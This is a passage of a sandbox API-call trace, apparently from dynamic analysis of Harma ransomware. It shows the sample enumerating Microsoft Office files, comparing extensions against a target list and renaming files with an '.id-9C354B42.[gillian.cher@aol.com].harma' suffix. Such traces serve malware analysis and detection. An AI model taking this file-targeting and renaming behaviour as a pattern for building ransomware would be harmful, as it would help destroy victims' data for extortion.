(lpString=".bz2") returned 4 [0166.680] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0166.680] lstrlenW (lpString=".7z") returned 3 [0166.680] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0166.680] lstrlenW (lpString=".dbf") returned 4 [0166.680] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0166.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0166.680] lstrlenW (lpString=".1cd") returned 4 [0166.680] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0166.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0166.680] lstrlenW (lpString=".jpg") returned 4 [0166.680] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0166.680] lstrcmpiW (lpString1=".EXE", lpString2=".harma") returned -1 [0166.681] lstrlenW (lpString="ACCICONS.EXE") returned 12 [0166.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0166.682] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=1449312) returned 1 [0166.682] CloseHandle (hObject=0x3a0) returned 1 [0166.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe")) returned 0x20 [0166.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0166.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0166.682] lstrlenW (lpString=".doc") returned 4 [0166.682] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0166.682] lstrlenW (lpString=".docx") returned 5 [0166.683] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0166.683] lstrlenW (lpString=".pdf") returned 4 [0166.683] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0166.683] lstrlenW (lpString=".xls") returned 4 [0166.683] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0166.683] lstrlenW (lpString=".xlsx") returned 5 [0166.683] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0166.683] lstrlenW (lpString=".ppt") returned 4 [0166.683] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0166.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0166.683] lstrlenW (lpString=".zip") returned 4 [0166.683] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0166.683] lstrlenW (lpString=".rar") returned 4 [0166.683] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0166.683] lstrlenW (lpString=".bz2") returned 4 [0166.683] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0166.683] lstrlenW (lpString=".7z") returned 3 [0166.683] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0166.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0166.683] lstrlenW (lpString=".dbf") returned 4 [0166.683] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0166.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0166.683] lstrlenW (lpString=".1cd") returned 4 [0166.683] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0166.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0166.683] lstrlenW (lpString=".jpg") returned 4 [0166.684] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0166.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0166.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0166.684] lstrlenW (lpString=".doc") returned 4 [0166.684] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0166.684] lstrlenW (lpString=".docx") returned 5 [0166.684] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0166.684] lstrlenW (lpString=".pdf") returned 4 [0166.684] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0166.684] lstrlenW (lpString=".xls") returned 4 [0166.684] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0166.684] lstrlenW (lpString=".xlsx") returned 5 [0166.684] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0166.684] lstrlenW (lpString=".ppt") returned 4 [0166.684] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0166.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0166.684] lstrlenW (lpString=".zip") returned 4 [0166.684] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0166.684] lstrlenW (lpString=".rar") returned 4 [0166.684] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0166.684] lstrlenW (lpString=".bz2") returned 4 [0166.684] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0166.684] lstrlenW (lpString=".7z") returned 3 [0166.684] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0166.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0166.684] lstrlenW (lpString=".dbf") returned 4 [0166.684] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0166.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0166.684] lstrlenW (lpString=".1cd") returned 4 [0166.684] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0166.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0166.685] lstrlenW (lpString=".jpg") returned 4 [0166.685] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0166.685] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0166.685] lstrlenW (lpString="ACCVDT.DLL") returned 10 [0166.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0166.686] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=4532616) returned 1 [0166.686] CloseHandle (hObject=0x3a0) returned 1 [0166.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll")) returned 0x20 [0166.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0166.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0166.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0166.686] lstrlenW (lpString=".doc") returned 4 [0166.686] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0166.686] lstrlenW (lpString=".docx") returned 5 [0166.686] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0166.686] lstrlenW (lpString=".pdf") returned 4 [0166.686] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0166.686] lstrlenW (lpString=".xls") returned 4 [0166.686] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0166.686] lstrlenW (lpString=".xlsx") returned 5 [0166.686] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0166.686] lstrlenW (lpString=".ppt") returned 4 [0166.687] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0166.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0166.687] lstrlenW (lpString=".zip") returned 4 [0166.687] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0166.687] lstrlenW (lpString=".rar") returned 4 [0166.687] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0166.687] lstrlenW (lpString=".bz2") returned 4 [0166.687] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0166.687] lstrlenW (lpString=".7z") returned 3 [0166.687] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0166.687] lstrlenW (lpString=".dbf") returned 4 [0166.687] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0166.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0166.687] lstrlenW (lpString=".1cd") returned 4 [0166.687] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0166.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0166.687] lstrlenW (lpString=".jpg") returned 4 [0166.687] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0166.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0166.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0166.687] lstrlenW (lpString=".doc") returned 4 [0166.687] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0166.687] lstrlenW (lpString=".docx") returned 5 [0166.687] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0166.687] lstrlenW (lpString=".pdf") returned 4 [0166.687] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0166.687] lstrlenW (lpString=".xls") returned 4 [0166.687] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0166.687] lstrlenW (lpString=".xlsx") returned 5 [0166.687] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0166.688] lstrlenW (lpString=".ppt") returned 4 [0166.688] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0166.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0166.688] lstrlenW (lpString=".zip") returned 4 [0166.688] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0166.688] lstrlenW (lpString=".rar") returned 4 [0166.688] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0166.688] lstrlenW (lpString=".bz2") returned 4 [0166.688] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0166.688] lstrlenW (lpString=".7z") returned 3 [0166.688] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0166.688] lstrlenW (lpString=".dbf") returned 4 [0166.688] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0166.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0166.688] lstrlenW (lpString=".1cd") returned 4 [0166.688] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0166.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0166.688] lstrlenW (lpString=".jpg") returned 4 [0166.688] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0166.688] lstrcmpiW (lpString1=".ACCDU", lpString2=".harma") returned -1 [0166.688] lstrlenW (lpString="ACWZDAT12.ACCDU") returned 15 [0166.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0166.693] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=6250496) returned 1 [0166.693] CloseHandle (hObject=0x3a0) returned 1 [0166.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu")) returned 0x20 [0166.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.693] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0166.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0166.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0166.693] lstrlenW (lpString=".doc") returned 4 [0166.693] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0166.693] lstrlenW (lpString=".docx") returned 5 [0166.693] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0166.693] lstrlenW (lpString=".pdf") returned 4 [0166.693] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0166.693] lstrlenW (lpString=".xls") returned 4 [0166.694] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0166.694] lstrlenW (lpString=".xlsx") returned 5 [0166.694] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0166.694] lstrlenW (lpString=".ppt") returned 4 [0166.694] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0166.694] lstrlenW (lpString=".zip") returned 4 [0166.694] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0166.694] lstrlenW (lpString=".rar") returned 4 [0166.694] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0166.694] lstrlenW (lpString=".bz2") returned 4 [0166.694] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0166.694] lstrlenW (lpString=".7z") returned 3 [0166.694] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0166.694] lstrlenW (lpString=".dbf") returned 4 [0166.694] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0166.694] lstrlenW (lpString=".1cd") returned 4 [0166.694] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0166.694] lstrlenW (lpString=".jpg") returned 4 [0166.694] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0166.694] lstrlenW (lpString=".doc") returned 4 [0166.695] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0166.695] lstrlenW (lpString=".docx") returned 5 [0166.695] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0166.695] lstrlenW (lpString=".pdf") returned 4 [0166.695] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0166.695] lstrlenW (lpString=".xls") returned 4 [0166.695] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0166.695] lstrlenW (lpString=".xlsx") returned 5 [0166.695] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0166.695] lstrlenW (lpString=".ppt") returned 4 [0166.695] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0166.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0166.695] lstrlenW (lpString=".zip") returned 4 [0166.695] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0166.695] lstrlenW (lpString=".rar") returned 4 [0166.695] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0166.695] lstrlenW (lpString=".bz2") returned 4 [0166.695] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0166.695] lstrlenW (lpString=".7z") returned 3 [0166.695] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0166.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0166.695] lstrlenW (lpString=".dbf") returned 4 [0166.695] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0166.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0166.695] lstrlenW (lpString=".1cd") returned 4 [0166.695] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0166.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0166.695] lstrlenW (lpString=".jpg") returned 4 [0166.695] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0166.696] lstrcmpiW (lpString1=".ACCDU", lpString2=".harma") returned -1 [0166.696] lstrlenW (lpString="ACWZUSR12.ACCDU") returned 15 [0166.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0166.904] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=3440640) returned 1 [0166.904] CloseHandle (hObject=0x330) returned 1 [0166.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu")) returned 0x20 [0167.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0167.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0167.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0167.057] lstrlenW (lpString=".doc") returned 4 [0167.057] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0167.057] lstrlenW (lpString=".docx") returned 5 [0167.057] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0167.057] lstrlenW (lpString=".pdf") returned 4 [0167.057] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0167.057] lstrlenW (lpString=".xls") returned 4 [0167.057] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0167.057] lstrlenW (lpString=".xlsx") returned 5 [0167.057] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0167.057] lstrlenW (lpString=".ppt") returned 4 [0167.057] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0167.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0167.057] lstrlenW (lpString=".zip") returned 4 [0167.057] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0167.057] lstrlenW (lpString=".rar") returned 4 [0167.057] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0167.057] lstrlenW (lpString=".bz2") returned 4 [0167.057] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0167.057] lstrlenW (lpString=".7z") returned 3 [0167.057] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0167.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0167.057] lstrlenW (lpString=".dbf") returned 4 [0167.057] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0167.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0167.057] lstrlenW (lpString=".1cd") returned 4 [0167.057] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0167.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0167.057] lstrlenW (lpString=".jpg") returned 4 [0167.057] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0167.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0167.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0167.058] lstrlenW (lpString=".doc") returned 4 [0167.058] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0167.058] lstrlenW (lpString=".docx") returned 5 [0167.058] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0167.058] lstrlenW (lpString=".pdf") returned 4 [0167.058] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0167.058] lstrlenW (lpString=".xls") returned 4 [0167.058] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0167.058] lstrlenW (lpString=".xlsx") returned 5 [0167.058] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0167.058] lstrlenW (lpString=".ppt") returned 4 [0167.058] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0167.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0167.058] lstrlenW (lpString=".zip") returned 4 [0167.058] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0167.058] lstrlenW (lpString=".rar") returned 4 [0167.058] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0167.058] lstrlenW (lpString=".bz2") returned 4 [0167.058] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0167.058] lstrlenW (lpString=".7z") returned 3 [0167.058] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0167.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0167.058] lstrlenW (lpString=".dbf") returned 4 [0167.058] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0167.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0167.058] lstrlenW (lpString=".1cd") returned 4 [0167.058] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0167.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0167.058] lstrlenW (lpString=".jpg") returned 4 [0167.058] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0167.059] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0167.059] lstrlenW (lpString="MSOSEC.DLL") returned 10 [0167.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0167.059] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=7168) returned 1 [0167.059] CloseHandle (hObject=0x218) returned 1 [0167.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll")) returned 0x20 [0167.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0167.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0167.060] lstrlenW (lpString=".doc") returned 4 [0167.060] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.060] lstrlenW (lpString=".docx") returned 5 [0167.060] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0167.060] lstrlenW (lpString=".pdf") returned 